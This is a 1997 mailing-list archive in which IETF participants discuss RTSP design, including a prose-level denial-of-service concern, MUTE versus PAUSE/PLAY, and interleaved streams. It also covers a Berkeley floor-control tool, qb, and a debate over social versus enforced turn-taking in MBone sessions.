Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA06018>; Mon, 21 Apr 1997 18:26:00 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id VAA01057 for <confctrl@isi.edu>; Mon, 21 Apr 1997 21:25:57 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id VAA15533 for <confctrl@isi.edu>; Mon, 21 Apr 1997 21:25:55 -0400 (EDT)
Message-Id: <335C13A3.2C7E@cs.columbia.edu>
Date: Mon, 21 Apr 1997 21:25:55 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: confctrl@isi.edu
Subject: RTSP denial-of-service attacks: never mind
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Not sure why this didn't occur to me before, but as long as we use
Session headers with non-guessable identifiers rather than dynamic URLs,
the denial-of-service attacks I described earlier are not possible,
since the client has to issue a PLAY with the right session id. (I can
still flood my 'friends' on a local broadcast network if I can snoop
RTSP responses, but that's not nearly as big a problem, particularly
since I mostly hurt myself with that.) Unless I missed something here,
text to this effect will find its way into the security considerations
section.

From majordom@ISI.EDU  Tue Apr 22 02:39:22 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24420>; Tue, 22 Apr 1997 09:42:12 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24414>; Tue, 22 Apr 1997 09:42:10 -0700
Received: from netscape.com (h-205-217-237-46.netscape.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA19803>; Tue, 22 Apr 1997 09:42:07 -0700
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
	by netscape.com (8.8.5/8.8.5) with ESMTP id JAA20679
	for <confctrl@ISI.EDU>; Tue, 22 Apr 1997 09:42:06 -0700 (PDT)
Received: from stargazer ([204.29.186.91]) by dredd.mcom.com
          (Netscape Mail Server v2.02) with SMTP id AAA16410;
          Tue, 22 Apr 1997 09:42:05 -0700
Message-Id: <335CE9BA.7E0F@netscape.com>
Date: Tue, 22 Apr 1997 09:39:22 -0700
From: Anup Rao <anup@netscape.com>
Organization: Netscape Communications Corp.
X-Mailer: Mozilla 3.0GoldC (X11; U; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: confctrl@ISI.EDU
Subject: Re: RTSP denial-of-service attacks: never mind
References: <335C13A3.2C7E@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Henning Schulzrinne wrote:
> 
> Not sure why this didn't occur to me before, but as long as we use
> Session headers with non-guessable identifiers rather than dynamic URLs,
> the denial-of-service attacks I described earlier are not possible,
> since the client has to issue a PLAY with the right session id. (I can
> still flood my 'friends' on a local broadcast network if I can snoop
> RTSP responses, but that's not nearly as big a problem, particularly
> since I mostly hurt myself with that.) Unless I missed something here,
> text to this effect will find its way into the security considerations
> section.

Not sure I understand this.(Or am I possibly correlating this to the
wrong earlier message ?). The Session: header is returned by the 
server, in response to SETUP. The client then uses it in subsequent
control messages, one of which may direct the stream at an unsuspecting
third party. There is no need to snoop on responses.

-- 
-----------------------------------------------------------------
  Anup Rao                                                      
  Netscape Communications Corp.                   
  email : anup@netscape.com         Phone : (415) 937 3129       
-----------------------------------------------------------------

From majordom@ISI.EDU  Tue Apr 22 08:52:38 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25442>; Tue, 22 Apr 1997 09:53:02 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA25436>; Tue, 22 Apr 1997 09:53:01 -0700
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA20411>; Tue, 22 Apr 1997 09:52:50 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id MAA22629; Tue, 22 Apr 1997 12:52:40 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with SMTP id MAA17407; Tue, 22 Apr 1997 12:52:39 -0400 (EDT)
Message-Id: <335CECD6.1828@cs.columbia.edu>
Date: Tue, 22 Apr 1997 12:52:38 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.01 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Anup Rao <anup@netscape.com>
Cc: confctrl@ISI.EDU
Subject: Re: RTSP denial-of-service attacks: never mind
References: <335C13A3.2C7E@cs.columbia.edu> <335CE9BA.7E0F@netscape.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Anup Rao wrote:
> 
> Henning Schulzrinne wrote:
> >
> > Not sure why this didn't occur to me before, but as long as we use
> > Session headers with non-guessable identifiers rather than dynamic URLs,
> > the denial-of-service attacks I described earlier are not possible,
> > since the client has to issue a PLAY with the right session id. (I can
> > still flood my 'friends' on a local broadcast network if I can snoop
> > RTSP responses, but that's not nearly as big a problem, particularly
> > since I mostly hurt myself with that.) Unless I missed something here,
> > text to this effect will find its way into the security considerations
> > section.
> 
> Not sure I understand this.(Or am I possibly correlating this to the
> wrong earlier message ?). The Session: header is returned by the
> server, in response to SETUP. The client then uses it in subsequent
> control messages, one of which may direct the stream at an unsuspecting
> third party. There is no need to snoop on responses.

You are right, third-party dumping is still possible, but at least I'll
know the right network address of the person who did it (unlike, say,
SYN flood attacks).

Sequence would be:

C->S: SETUP
S->C: give Session ID back to entity where command claims to originate
from

C->S: PLAY (only if you have the right session ID)
S:    data starts flowing

From majordom@ISI.EDU  Tue Apr 22 08:29:57 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23001>; Tue, 22 Apr 1997 15:29:53 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22995>; Tue, 22 Apr 1997 15:29:51 -0700
Received: from woodstock.CS.Berkeley.EDU by venera.isi.edu (5.65c/5.61+local-26)
	id <AA16662>; Tue, 22 Apr 1997 15:29:49 -0700
Received: (from radhika@localhost) by woodstock.cs.berkeley.edu (8.8.4/8.8.2) id PAA04855 for confctrl@ISI.EDU; Tue, 22 Apr 1997 15:29:57 -0700 (PDT)
From: Radhika Malpani <radhika@CS.Berkeley.EDU>
Message-Id: <199704222229.PAA04855@woodstock.cs.berkeley.edu>
Subject: qb - a new floor ctrl tool fro asking questions
To: confctrl@ISI.EDU
Date: Tue, 22 Apr 1997 15:29:57 -0700 (PDT)
X-Mailer: ELM [version 2.4 PL25]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi,

I work for Larry Rowe in the Berkeley Multimedia Research Center.
We have developed qb which is a floor control tool for MBone seminars. Qb 
allows MBone participants to ask questions and enables a moderator to do
floor control. Participants can indicate a desire to ask a question by
typing in a few keywords (or the actual question if they do not have a
microphone connected). The moderator can then either read the question and
verbally respond, or can grant the floor to the participant allowing him to
ask his question by talking into his microphone. Qb works in conjunction
with vic & vat.

We will be using qb tomorrow in the UC Berkeley Multimedia & Graphics
seminar for Lixia Zhang's talk. The tool is still very much in the alpha phase  so we are not currently doing a general release. However, we will release
the tool to anyone interested in being alpha testers and using it to ask
questions in tomorrow's talk. The title of the talk is "Network Architecture
Revisited: the case for datagrams"

Please send email to radhika@cs.berkeley.edu with information about your os if 
you would like to use qb tomorrow.

Thanks,
Radhika

------------------------------------------------------------------------
Radhika Malpani				radhika@CS.Berkeley.EDU
Berkeley Multimedia Research Center	http://www.cs.berkeley.edu/~radhika

From majordom@ISI.EDU  Tue Apr 22 09:09:24 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27337>; Tue, 22 Apr 1997 16:16:00 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27308>; Tue, 22 Apr 1997 16:15:57 -0700
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA19912>; Tue, 22 Apr 1997 16:15:56 -0700
Received: from oak.precept.com by precept.com (SMI-8.6/SMI-SVR4)
	id QAA15535; Tue, 22 Apr 1997 16:10:25 -0700
Date: Tue, 22 Apr 1997 16:09:24 -0700 ()
From: Stephen Casner <casner@precept.com>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: Eric Fleischman <ericfl@MICROSOFT.com>, confctrl@ISI.EDU
Subject: Re: Presentations & MUTE in RTSP
In-Reply-To: <335BF53D.6059@cs.columbia.edu>
Message-Id: <Pine.WNT.3.95.970422154915.-132577M-100000@oak.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Henning,

Thanks for your clarification:

> In the case of 'bundled' (CD ROM) presentations shipped as a single RTP
> stream, that stream is also a single RTSP stream (single RTSP URL). It
> wouldn't really make any sense to pause/mute/play anything but the whole
> show. If you allow anything else, you are back to having to unbundle and
> reassemble the CD ROM presentation. Thus, MUTE for the whole show works
> just fine (whether it's generally useful in that case is a different
> issue).

This whole debate was moot because the bundled stream Eric wants to
send is a single RTSP stream so it is not even possible to express a
desire to MUTE only part of it.  So, the presence of the MUTE function
shouldn't cause any burden for Eric's server.

> We should also note that several bundled and unbundled streams may be
> merged into a 'virtual presentation' by the receiver. In that case,
> MUTEing may be useful, even if you mute the whole bundled stream. The
> server of the bundled stream doesn't know about this and doesn't care -
> this is strictly done by the receiver.

Right, so there is still value in having MUTE for the bundled stream
as a whole.

> We have a mechanism (OPTIONS) where a client can easily detect the
> availability of MUTE, etc., so you don't have to wait for a 5xx error
> message. However, if MUTE is not generally supported in servers, smart
> clients would want to fall back to PAUSE/PLAY, so that MUTE doesn't buy
> much in terms of simplifying clients.

If you make MUTE optional so that clients have to be prepared to use
PAUSE/PLAY instead, then you might as well not have it.  Clients would
just implement PAUSE/PLAY and ignore MUTE unless the result was
significantly better in some way.


As an aside, for the next debate I suggest that we focus on the real
technical issues underlying the usage scenarios and avoid red herrings
such as the question of author control over a presentation.  Even in a
cinema, one can cover his eyes or plug his ears to mute one of the
individual "media".  Unless, of course, he is in Malcolm McDowell's
seat in "Clockwork Orange".
							-- Steve


From majordom@ISI.EDU  Tue Apr 22 14:48:08 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11721>; Tue, 22 Apr 1997 21:55:38 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11714>; Tue, 22 Apr 1997 21:55:36 -0700
Received: from proxy1.ba.best.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA04238>; Tue, 22 Apr 1997 21:55:35 -0700
Received: from kaipara.live.com (kaipara.live.com [206.86.37.12]) by proxy1.ba.best.com (8.8.5/8.8.3) with SMTP id VAA15642; Tue, 22 Apr 1997 21:48:08 -0700 (PDT)
Date: Tue, 22 Apr 1997 21:48:08 -0700 (PDT)
Message-Id: <1.5.4.16.19970422213032.5a4ff1c2@pop.best.com>
X-Sender: rsf@pop.best.com
X-Mailer: Windows Eudora Light Version 1.5.4 (16)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
To: Radhika Malpani <radhika@CS.Berkeley.EDU>
From: Ross Finlayson <finlayson@lvn.com>
Subject: Re: qb - a new floor ctrl tool fro asking questions
Cc: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

>Participants can indicate a desire to ask a question by
>typing in a few keywords (or the actual question if they do not have a
>microphone connected). The moderator can then either read the question and
>verbally respond, or can grant the floor to the participant allowing him to
>ask his question by talking into his microphone. Qb works in conjunction
>with vic & vat.

How, if at all, do you enforce this 'floor control'?  I.e., what's to stop
someone from chiming in with a question (via the audio channel) without
going through your floor control mechanism?

I can imagine implementing some sort of manditory floor control using
public-private key pairs and digital signatures: Questions (whether audio or
text) would be signed in some way.  Each listener has a public key to verify
the signature on a question, but only the person who's been given the floor
has the private key necessary to 'sign' his question.  (You'd need to have
some way of having the key change each time a new person is given the floor.)

But if the 'floor control' mechanism is voluntary - as I suspect this one is
- then why bother?  Multicast-based schemes that rely on all participants
behaving nicely aren't very practical (except in very constrained
environments), IMO.

        Ross.


From majordom@ISI.EDU  Wed Apr 23 12:11:33 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14389>; Wed, 23 Apr 1997 01:11:41 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14383>; Wed, 23 Apr 1997 01:11:40 -0700
Received: from dienstmann.informatik.uni-bremen.de by venera.isi.edu (5.65c/5.61+local-26)
	id <AA10811>; Wed, 23 Apr 1997 01:11:39 -0700
Received: by   dienstmann.informatik.uni-bremen.de (8.7.3/30.7.96cl) 
	  id   KAA15719
          Wed, 23 Apr 1997 10:11:33 +0200 (MET DST)
Date: Wed, 23 Apr 1997 10:11:33 +0200 (MET DST)
Message-Id: <199704230811.KAA15719@dienstmann.informatik.uni-bremen.de>
From: Carsten Funke <oberon@informatik.uni-bremen.de>
To: radhika@CS.Berkeley.EDU
Cc: confctrl@ISI.EDU
In-Reply-To: <199704222229.PAA04855@woodstock.cs.berkeley.edu> (message from
	Radhika Malpani on Tue, 22 Apr 1997 15:29:57 -0700 (PDT))
Subject: Re: qb - a new floor ctrl tool fro asking questions
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Hi,

> We will be using qb tomorrow in the UC Berkeley Multimedia & Graphics
> seminar for Lixia Zhang's talk. The tool is still very much in the alpha phase  so we are not currently doing a general release. However, we will release
> the tool to anyone interested in being alpha testers and using it to ask
> questions in tomorrow's talk. The title of the talk is "Network Architecture
> Revisited: the case for datagrams"
> 
> Please send email to radhika@cs.berkeley.edu with information about your os if 
> you would like to use qb tomorrow.

I work for Carsten Bormann in the Digital Media & Computer Network
Research Group at the University of Bremen, Germany. Since I currently
seek information about multimedia conference control in the Internet
(just finishing my diploma thesis about this), I would be very
interested in qb.
I do not recognize the session in sdr - is the TTL possibly too
restricted to receive it in Europe?

Anyway, I would be very interested in taking a view on qb.

We are using Sun Solaris 2.5.1 on Sun Sparc Architecture.

Thanks & Bye,
   Carsten

-- 
Carsten Funke
email:   oberon@tzi.org
www:     http://www.informatik.uni-bremen.de/~oberon

From majordom@ISI.EDU  Wed Apr 23 12:58:51 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15325>; Wed, 23 Apr 1997 01:59:13 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15319>; Wed, 23 Apr 1997 01:59:10 -0700
Received: from eagle.rvs.uni-hannover.de by venera.isi.edu (5.65c/5.61+local-26)
	id <AA12311>; Wed, 23 Apr 1997 01:59:08 -0700
Received: from rot(really [130.75.5.218]) by eagle.rvs.uni-hannover.de
	via sendmail with smtp
	id <m0wJxt5-0004nVC@eagle.rvs.uni-hannover.de>
	for <confctrl@ISI.EDU>; Wed, 23 Apr 1997 10:58:51 +0200 (METDST)
	(Smail-3.2.0.92 1997-Feb-9 #3 built 1997-Apr-4)
Date: Wed, 23 Apr 1997 10:58:51 +0200 (MET DST)
From: "Lutz Grueneberg, RVS" <gruen@rvs.uni-hannover.de>
X-Sender: gruen@rot
To: Radhika Malpani <radhika@CS.Berkeley.EDU>
Cc: confctrl@ISI.EDU
Subject: Re: qb - a new floor ctrl tool fro asking questions
In-Reply-To: <199704222229.PAA04855@woodstock.cs.berkeley.edu>
Message-Id: <Pine.GSO.3.95.970423105723.1459B-100000@rot>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi,

On Tue, 22 Apr 1997, Radhika Malpani wrote:

>=20
> Please send email to radhika@cs.berkeley.edu with information about your =
os if=20
> you would like to use qb tomorrow.
>=20
Yes, I'am interested. I use Solaris 2.5.1, also available are
Irix 6.2 and Linux 2.0.29.

Cheers,
 Lutz=20
--
// Lutz Gr=FCneberg                Lehrgebiet Rechnernetze und Verteilte Sy=
steme
//                               Universit=E4t Hannover
//                               Schlo=DFwender Str. 5
// gruen@rvs.uni-hannover.de     D-30159 Hannover, Germany
// Public PGP-Key available: http://www.rvs.uni-hannover.de/people/gruen.ht=
ml
//                           http://bs.mit.edu:8001/pks-toplev.html


From majordom@ISI.EDU  Wed Apr 23 11:18:50 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15756>; Wed, 23 Apr 1997 02:25:01 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15750>; Wed, 23 Apr 1997 02:25:00 -0700
Received: from zaphod.axion.bt.co.uk by venera.isi.edu (5.65c/5.61+local-26)
	id <AA13276>; Wed, 23 Apr 1997 02:24:57 -0700
Received: from hfs1.hfnet.bt.co.uk by zaphod.axion.bt.co.uk with SMTP (PP); Wed, 23 Apr 1997 10:24:33 +0100
Received: from hfs1.hfnet.bt.co.uk.hfnet.bt.co.uk (napoleon) by hfs1.hfnet.bt.co.uk; Wed, 23 Apr 97 10:24:23 BST
Message-Id: <3.0.1.32.19970423101850.007b56a0@hfs1.hfnet.bt.co.uk>
X-Sender: anderson@hfs1.hfnet.bt.co.uk
X-Mailer: Windows Eudora Light Version 3.0.1 (32)
Date: Wed, 23 Apr 1997 10:18:50 +0100
To: Ross Finlayson <finlayson@lvn.com>,
        Radhika Malpani <radhika@CS.Berkeley.EDU>
From: Ben Anderson <ben.anderson@bt-sys.bt.co.uk>
Subject: Re: qb - a new floor ctrl tool fro asking questions
Cc: confctrl@isi.edu
In-Reply-To: <1.5.4.16.19970422213032.5a4ff1c2@pop.best.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 21:48 22/04/97 -0700, Ross Finlayson wrote:
>
>- then why bother?  Multicast-based schemes that rely on all participants
>behaving nicely aren't very practical (except in very constrained
>environments), IMO.
>

I disagree, virtually all of our real-world group interactions rely on
people behaving nicely backed up by social, cultural and (if necessary)
legal re-inforcement. Turn-taking in meetings depends on context and social
mores NOT physically imposed gagging (usually ;-)...

IMO one of the great things about the MBONE tools as currently used is that
we have been able to use them to support a range of group communication
contexts without the need for any technically imposed 'turn-taking'. I take
this as a demonstration that social regulation (ie assuming that people
will behave nicely) can work across a range of environments.

The interesting issue is where (and why) it does not.

Ben.
-----------------------------#@theOffice#-----------------------------
Tel: 01473 644767		MLB 2/8, BT Labs, Martlesham Heath
Fax: 01473 637557		Ipswich, Suffolk, UK. IP5 7RE	

From majordom@ISI.EDU  Sun Apr 23 14:24:53 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16729>; Wed, 23 Apr 1997 03:28:30 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16723>; Wed, 23 Apr 1997 03:28:20 -0700
Received: from dienstmann.informatik.uni-bremen.de by venera.isi.edu (5.65c/5.61+local-26)
	id <AA15109>; Wed, 23 Apr 1997 03:28:18 -0700
Received: by   dienstmann.informatik.uni-bremen.de (8.7.3/30.7.96cl) 
	  id   MAA18342
          Wed, 23 Apr 1997 12:24:53 +0200 (MET DST)
To: Ben Anderson <ben.anderson@bt-sys.bt.co.uk>
Cc: Ross Finlayson <finlayson@lvn.com>,
        Radhika Malpani <radhika@CS.Berkeley.EDU>, confctrl@ISI.EDU
Subject: Re: qb - a new floor ctrl tool fro asking questions
References: <3.0.1.32.19970423101850.007b56a0@hfs1.hfnet.bt.co.uk>
From: Carsten Bormann <cabo@informatik.uni-bremen.de>
In-Reply-To: Ben Anderson's message of Wed, 23 Apr 1997 10:18:50 +0100
Date: 23 Apr 1997 12:24:53 +0200
Message-Id: <ualo6ahw96.fsf@dienstmann.informatik.uni-bremen.de>
Lines: 26
X-Mailer: Gnus v5.3/Emacs 19.34
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Ben Anderson <ben.anderson@bt-sys.bt.co.uk> writes:

> At 21:48 22/04/97 -0700, Ross Finlayson wrote:
> >
> >- then why bother?  Multicast-based schemes that rely on all participants
> >behaving nicely aren't very practical (except in very constrained
> >environments), IMO.
> >
> 
> I disagree, virtually all of our real-world group interactions rely on
> people behaving nicely backed up by social, cultural and (if necessary)
> legal re-inforcement. Turn-taking in meetings depends on context and social
> mores NOT physically imposed gagging (usually ;-)...

The problem is that it's hard to be "nice" to each other in a
bandwidth-constrained, high-delay channel.  For instance, it is rare
that you will be as aware of, say, ten other conference participants'
facial expressions in a teleconference as you easily can be in a
physical meeting.  Subtle cues to what's nice and what's not get lost.

Machine support for being "nice" (i.e., group organization) certainly
helps, if it can be made inobtrusive and easy to handle.  That
property, however, is not easy to achieve -- this may be one reason
many people who have tried floor control systems etc. dislike them.

Gruesse, Carsten

From majordom@ISI.EDU  Wed Apr 23 18:37:38 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18807>; Wed, 23 Apr 1997 05:46:16 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18801>; Wed, 23 Apr 1997 05:46:13 -0700
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA17728>; Wed, 23 Apr 1997 05:39:34 -0700
Received: (qmail 10425 invoked by uid 1067); 23 Apr 1997 12:37:38 -0000
Date: Wed, 23 Apr 1997 15:37:38 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: confctrl@isi.edu
Subject: Re: MUTE in RTSP
In-Reply-To: <3358D4C6.32B0@cs.columbia.edu>
Message-Id: <Pine.LNX.3.95.970423152055.10267B-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Sat, 19 Apr 1997, Henning Schulzrinne wrote:

>We had the discussion as to whether interleaving (= single RTP/network
>stream with multiple media) is better or not a few times, without much
>progress; I believe RTSP should be agnostic on this front.

Agreed.

>> The amount of "tremendously" depends on the implementation. If you have
>> an approach especially tailored for maximum server efficiency such as
>> ours, the overhead of doing this is immense.
>
>Serving data seems to consist roughly of three parts:
>
>1) get the data from permanent storage or a cache fronting for it
>
>2) schedule delivery at appropriate time intervals to maintain
>approximate timing and adhere to network flow contracts, if applicable;
>increase the logical clock (normal play time) of the stream
>corresponding to progression of time within the stream
>
>3) put the stuff out on the network.
>
>MUTEing, in a sense, just skips (1) and (3), but keeps increasing the
>clock as in (2). Thus, it seems hard to believe that this would consume
>more resources than doing 'real' delivery.

Assuming you have a server architecture that is optimized for sending data
from readily interleaved files with (possible) precalculated data to gain
performance, an additional (and possibly superfluous) state ni the
optimized playback core /can/ do damage. I guess this is what is meant by
'highly optimized for speed'. And in a case like this, the implicit
interleaving may mean that the only phase that you really /can/ skip is
phase 3. In a well optimized situation in which the outgoing network
resources allow sending without contention and/or competition, phase 3
isn't going to be a problem. So, in cases like this, you don't necessarily
gain anything (except for a decrease in network workload; with resource
reservation, not necessarily even that) but you may end up paying a
penalty in the engine core.

>This is convenient, but not
>necessary, if the client is streaming several media and synchronizing
>them. As has been pointed out, the client can PAUSE and PLAY (at the new
>time point) the stream to achieve the same effect. Since it's generally
>a good idea to have the client do work rather than the server, this may
>be an appropriate mechanism.

Indeed it is. The /only/ reason I can come up with to using a separate
MUTE is a very synchronization problem (you cannot be sure that no glitch
with respect to the presentation clock is introduced by the pause).

>It's not clear to me what the server serving a single QuickTime/ASF
>movie would do when told to PAUSE the audio. It appears it would have to
>do the same disassembly or just offer QuickTime movies as a single
>entity.

This is precisely the kind of situation I alluded to above. Readily
interleaved data may preclude the usage of MUTE anyway. And to gain
performance, one often uses interleaving/preprocessing to reduce head
latencies and other similar bottlenecks...

>The whole area of group RTSP streams (presentations) is still a bit
>fuzzy and requires more discussion. I think we should settle that issue
>first. MUTE is something we can always offer later, if needed.

Agreed.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Wed Apr 23 18:57:33 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19024>; Wed, 23 Apr 1997 06:00:53 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19017>; Wed, 23 Apr 1997 06:00:51 -0700
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA18087>; Wed, 23 Apr 1997 06:00:03 -0700
Received: (qmail 10512 invoked by uid 1067); 23 Apr 1997 12:57:33 -0000
Date: Wed, 23 Apr 1997 15:57:33 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Karl Auerbach <karl@precept.com>
Cc: Gray Cope <grayc@CreativeConnections.com>, confctrl@ISI.EDU
Subject: Re: MUTE in RTSP
In-Reply-To: <Pine.SOL.3.93.970419121602.4223B-100000@big-bear>
Message-Id: <Pine.LNX.3.95.970423155203.10267F-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Sat, 19 Apr 1997, Karl Auerbach wrote:

>> So if the RTSP specification did not _require_ the MUTE request to be
>> implemented would that address your concerns?
>
>Making parts of a specification optional tends to cause interoperability
>problems (and user unhappiness).

True. And it also makes the life harder for application writers that have
to cope with a heterogeneous server environment.

>> Ultimately the content creator or distributor can exercise control
>> over how their presentation is delivered.  That is they can specify
>> that their content not be delivered by a service that implements
>> the MUTE request.
>
>Since the user controls whether the audio is even plugged into speakers or
>whether the screen is turned on, what you suggest would ultimately be
>futile.

So what MUTE is, it's basically just an optimization. Is it worth it?

>Which is better for the network?  To carry packets to the receiver just to
>have them rendered into a device disabled by the user?  Or is it better
>just to supress the useless data at the source and not pay the carrying
>cost?

How does MUTE interoperate with multicast data streams? It would seem to
necessitate some layer violation in the architecture since the server
side would have to know whether an address is uni or multicast.

>Somehow this whole thread of "author's rights" strikes me in about the
>same was as did the old Outer Limits TV show -- They said that they
>controlled the horizontal and that they controlled the vertical.  But I
>controlled the power switch.  I think that in this case the user holds the
>trump card over any "author's intention". 

Indeed. No such limitations can reasonably be imposed upon the user. It
would be the same as forbidding one's going to a museum if one doesn't
agree to see /all/ the paintings.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Wed Apr 23 18:50:58 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19001>; Wed, 23 Apr 1997 05:59:38 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18995>; Wed, 23 Apr 1997 05:59:35 -0700
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA18080>; Wed, 23 Apr 1997 05:59:30 -0700
Received: (qmail 10481 invoked by uid 1067); 23 Apr 1997 12:50:58 -0000
Date: Wed, 23 Apr 1997 15:50:58 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Karl Auerbach <karl@precept.com>
Cc: confctrl@ISI.EDU
Subject: RE: MUTE in RTSP
In-Reply-To: <Pine.SOL.3.93.970419120350.4223A-100000@big-bear>
Message-Id: <Pine.LNX.3.95.970423154435.10267E-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Sat, 19 Apr 1997, Karl Auerbach wrote:

>> Streaming a presentation (i.e., multiple multimedia streams treated as a
>> single entity) is the most efficient streaming approach possible for a
>> server. 
>
>I do not believe that assertion.
>
>In fact, when a composition of streams can be sent by distinct, but time
>synchronized computers (or processors) that bundling would tend to add
>artificial limitations.

Yes. /When./ But in the case of realtime streams, at least, that is not
going to help. And on the server side, interlaced streams do have a strong
appeal because of performance reasons. So they should be possible, at
least. But of course, in most cases it is attractive to be able to
distribute the workload of streaming a presentation, especially when the
number of streams grows to tens or more. In this case even the network may
limit the usability of interlaced tranmission techniques.

>As has been said many times on this list: Real implementations have
>demonstrated that the true burden of achieving synchronized rendering
>among multiple streams falls on the receiver.  Whether the streams are
>emitted in tight or loose synchrony at the source(s) is somewhat
>irrelevant. 

True. If the receivers have sufficient resources available to accomplish
such synchronization. But in cases where realtime, high definition video,
a LAN environment and desktop computers are used, interlaced data streams
are /much/ better; it is hard to implement sufficient queues on PCs and if
the underlying network has tolerable jitter (many LANs and, indeed, ATM
clouds do), interlacing can ease up the requirements imposed on the reader
considerably.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Wed Apr 23 18:43:33 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19215>; Wed, 23 Apr 1997 06:08:05 -0700
